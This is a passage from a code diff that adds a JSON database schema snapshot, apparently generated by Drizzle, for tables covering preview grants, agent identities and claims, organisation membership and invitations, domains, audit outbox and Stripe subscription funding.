+ "dev_preview_services_approved_port_range_check": {
+ "name": "dev_preview_services_approved_port_range_check",
+ "value": "\"dev_preview_services\".\"approvedPort\" IS NULL OR \"dev_preview_services\".\"approvedPort\" BETWEEN 1 AND 65535"
+ },
+ "dev_preview_services_approved_paired_check": {
+ "name": "dev_preview_services_approved_paired_check",
+ "value": "(\"dev_preview_services\".\"approvedPort\" IS NULL) = (\"dev_preview_services\".\"approvedAt\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.dev_preview_grants": {
+ "name": "dev_preview_grants",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "holderKind": {
+ "name": "holderKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "holderId": {
+ "name": "holderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sessionId": {
+ "name": "sessionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "cookieExpiresAt": {
+ "name": "cookieExpiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumedAt": {
+ "name": "consumedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "dev_preview_grants_expires_at_idx": {
+ "name": "dev_preview_grants_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "dev_preview_grants_userId_users_id_fk": {
+ "name": "dev_preview_grants_userId_users_id_fk",
+ "tableFrom": "dev_preview_grants",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dev_preview_grants_sessionId_sessions_id_fk": {
+ "name": "dev_preview_grants_sessionId_sessions_id_fk",
+ "tableFrom": "dev_preview_grants",
+ "tableTo": "sessions",
+ "columnsFrom": [
+ "sessionId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "dev_preview_grants_holder_kind_check": {
+ "name": "dev_preview_grants_holder_kind_check",
+ "value": "\"dev_preview_grants\".\"holderKind\" IN ('workspace', 'env')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.agent_account_grant_nonces": {
+ "name": "agent_account_grant_nonces",
+ "schema": "",
+ "columns": {
+ "nonce": {
+ "name": "nonce",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "grantId": {
+ "name": "grantId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumedAt": {
+ "name": "consumedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "agent_account_grant_nonces_expires_at_idx": {
+ "name": "agent_account_grant_nonces_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_claims": {
+ "name": "agent_claims",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "agentUserId": {
+ "name": "agentUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerUserId": {
+ "name": "ownerUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "userCodeHash": {
+ "name": "userCodeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "approvedAt": {
+ "name": "approvedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "deniedAt": {
+ "name": "deniedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redeemedAt": {
+ "name": "redeemedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastPolledAt": {
+ "name": "lastPolledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pollIntervalSeconds": {
+ "name": "pollIntervalSeconds",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 5
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "agent_claims_agent_user_id_idx": {
+ "name": "agent_claims_agent_user_id_idx",
+ "columns": [
+ {
+ "expression": "agentUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_claims_owner_user_id_idx": {
+ "name": "agent_claims_owner_user_id_idx",
+ "columns": [
+ {
+ "expression": "ownerUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_claims_expires_at_idx": {
+ "name": "agent_claims_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_claims_agentUserId_users_id_fk": {
+ "name": "agent_claims_agentUserId_users_id_fk",
+ "tableFrom": "agent_claims",
+ "tableTo": "users",
+ "columnsFrom": [
+ "agentUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_claims_ownerUserId_users_id_fk": {
+ "name": "agent_claims_ownerUserId_users_id_fk",
+ "tableFrom": "agent_claims",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "agent_claims_userCodeHash_unique": {
+ "name": "agent_claims_userCodeHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "userCodeHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_identities": {
+ "name": "agent_identities",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "secretHash": {
+ "name": "secretHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "secretPrefix": {
+ "name": "secretPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "secretVersion": {
+ "name": "secretVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "source": {
+ "name": "source",
+ "type": "varchar(120)",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerUserId": {
+ "name": "ownerUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "claimedAt": {
+ "name": "claimedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdByIp": {
+ "name": "createdByIp",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastAuthAt": {
+ "name": "lastAuthAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "agent_identities_owner_user_id_idx": {
+ "name": "agent_identities_owner_user_id_idx",
+ "columns": [
+ {
+ "expression": "ownerUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_identities_created_at_idx": {
+ "name": "agent_identities_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_identities_userId_users_id_fk": {
+ "name": "agent_identities_userId_users_id_fk",
+ "tableFrom": "agent_identities",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_identities_ownerUserId_users_id_fk": {
+ "name": "agent_identities_ownerUserId_users_id_fk",
+ "tableFrom": "agent_identities",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "agent_identities_secretHash_unique": {
+ "name": "agent_identities_secretHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "secretHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_signup_challenges": {
+ "name": "agent_signup_challenges",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "challengeHash": {
+ "name": "challengeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "difficultyBits": {
+ "name": "difficultyBits",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumedAt": {
+ "name": "consumedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "agent_signup_challenges_expires_at_idx": {
+ "name": "agent_signup_challenges_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "agent_signup_challenges_challengeHash_unique": {
+ "name": "agent_signup_challenges_challengeHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "challengeHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_audit_outbox": {
+ "name": "org_audit_outbox",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "seq": {
+ "name": "seq",
+ "type": "bigserial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "eventType": {
+ "name": "eventType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "actorId": {
+ "name": "actorId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resourceType": {
+ "name": "resourceType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resourceId": {
+ "name": "resourceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "details": {
+ "name": "details",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{}'::jsonb"
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "deadLetteredAt": {
+ "name": "deadLetteredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "nextAttemptAt": {
+ "name": "nextAttemptAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_audit_outbox_next_attempt_idx": {
+ "name": "org_audit_outbox_next_attempt_idx",
+ "columns": [
+ {
+ "expression": "nextAttemptAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_departure_suppressions": {
+ "name": "org_departure_suppressions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emailHash": {
+ "name": "emailHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "org_departure_suppressions_orgId_organizations_id_fk": {
+ "name": "org_departure_suppressions_orgId_organizations_id_fk",
+ "tableFrom": "org_departure_suppressions",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_departure_suppressions_org_email_key": {
+ "name": "org_departure_suppressions_org_email_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId",
+ "emailHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_domains": {
+ "name": "org_domains",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "domain": {
+ "name": "domain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dnsToken": {
+ "name": "dnsToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emailTokenHash": {
+ "name": "emailTokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "emailTokenExpiresAt": {
+ "name": "emailTokenExpiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "emailSentTo": {
+ "name": "emailSentTo",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "verifiedAt": {
+ "name": "verifiedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "verifiedMethod": {
+ "name": "verifiedMethod",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_domains_verified_domain_key": {
+ "name": "org_domains_verified_domain_key",
+ "columns": [
+ {
+ "expression": "domain",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"org_domains\".\"verifiedAt\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "org_domains_orgId_organizations_id_fk": {
+ "name": "org_domains_orgId_organizations_id_fk",
+ "tableFrom": "org_domains",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_domains_createdBy_users_id_fk": {
+ "name": "org_domains_createdBy_users_id_fk",
+ "tableFrom": "org_domains",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_domains_emailTokenHash_unique": {
+ "name": "org_domains_emailTokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "emailTokenHash"
+ ]
+ },
+ "org_domains_org_domain_key": {
+ "name": "org_domains_org_domain_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId",
+ "domain"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_invitations": {
+ "name": "org_invitations",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "OrgRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'MEMBER'"
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "invitedBy": {
+ "name": "invitedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "acceptedAt": {
+ "name": "acceptedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_invitations_email_idx": {
+ "name": "org_invitations_email_idx",
+ "columns": [
+ {
+ "expression": "lower(\"email\")",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_invitations_open_org_email_key": {
+ "name": "org_invitations_open_org_email_key",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lower(\"email\")",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"org_invitations\".\"acceptedAt\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "org_invitations_orgId_organizations_id_fk": {
+ "name": "org_invitations_orgId_organizations_id_fk",
+ "tableFrom": "org_invitations",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_invitations_invitedBy_users_id_fk": {
+ "name": "org_invitations_invitedBy_users_id_fk",
+ "tableFrom": "org_invitations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invitedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_invitations_tokenHash_unique": {
+ "name": "org_invitations_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_member_departures": {
+ "name": "org_member_departures",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "reason": {
+ "name": "reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "departedAt": {
+ "name": "departedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_member_departures_user_id_idx": {
+ "name": "org_member_departures_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "org_member_departures_orgId_organizations_id_fk": {
+ "name": "org_member_departures_orgId_organizations_id_fk",
+ "tableFrom": "org_member_departures",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_member_departures_userId_users_id_fk": {
+ "name": "org_member_departures_userId_users_id_fk",
+ "tableFrom": "org_member_departures",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_member_departures_org_user_key": {
+ "name": "org_member_departures_org_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId",
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_members": {
+ "name": "org_members",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "OrgRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'MEMBER'"
+ },
+ "invitedBy": {
+ "name": "invitedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "joinedAt": {
+ "name": "joinedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_members_one_owner_key": {
+ "name": "org_members_one_owner_key",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"org_members\".\"role\" = 'OWNER'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_members_user_id_idx": {
+ "name": "org_members_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "org_members_orgId_organizations_id_fk": {
+ "name": "org_members_orgId_organizations_id_fk",
+ "tableFrom": "org_members",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_members_userId_users_id_fk": {
+ "name": "org_members_userId_users_id_fk",
+ "tableFrom": "org_members",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_members_invitedBy_users_id_fk": {
+ "name": "org_members_invitedBy_users_id_fk",
+ "tableFrom": "org_members",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invitedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_members_org_user_key": {
+ "name": "org_members_org_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId",
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.org_subscription_funding": {
+ "name": "org_subscription_funding",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeInvoiceId": {
+ "name": "stripeInvoiceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "basis": {
+ "name": "basis",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "paidCents": {
+ "name": "paidCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "verifiedAt": {
+ "name": "verifiedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "org_subscription_funding_orgId_organizations_id_fk": {
+ "name": "org_subscription_funding_orgId_organizations_id_fk",
+ "tableFrom": "org_subscription_funding",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_subscription_funding_stripeInvoiceId_unique": {
+ "name": "org_subscription_funding_stripeInvoiceId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeInvoiceId"
+ ]
+ },
+ "org_subscription_funding_org_subscription_key": {
+ "name": "org_subscription_funding_org_subscription_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId",
+ "stripeSubscriptionId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "org_subscription_funding_evidence_check": {
+ "name": "org_subscription_funding_evidence_check",
+ "value": "(\"org_subscription_funding\".\"basis\" = 'paid' AND \"org_subscription_funding\".\"paidCents\" > 0) OR (\"org_subscription_funding\".\"basis\" = 'gift' AND \"org_subscription_funding\".\"paidCents\" >= 0)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.org_subscriptions": {
+ "name": "org_subscriptions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeBasePriceId": {
+ "name": "stripeBasePriceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeBaseItemId": {
+ "name": "stripeBaseItemId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeSeatPriceId": {
+ "name": "stripeSeatPriceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeSeatItemId": {
+ "name": "stripeSeatItemId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "extraSeatQuantity": {
+ "name": "extraSeatQuantity",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "seatRevision": {
+ "name": "seatRevision",
+ "type": "integer",
+ "primaryKey": false,
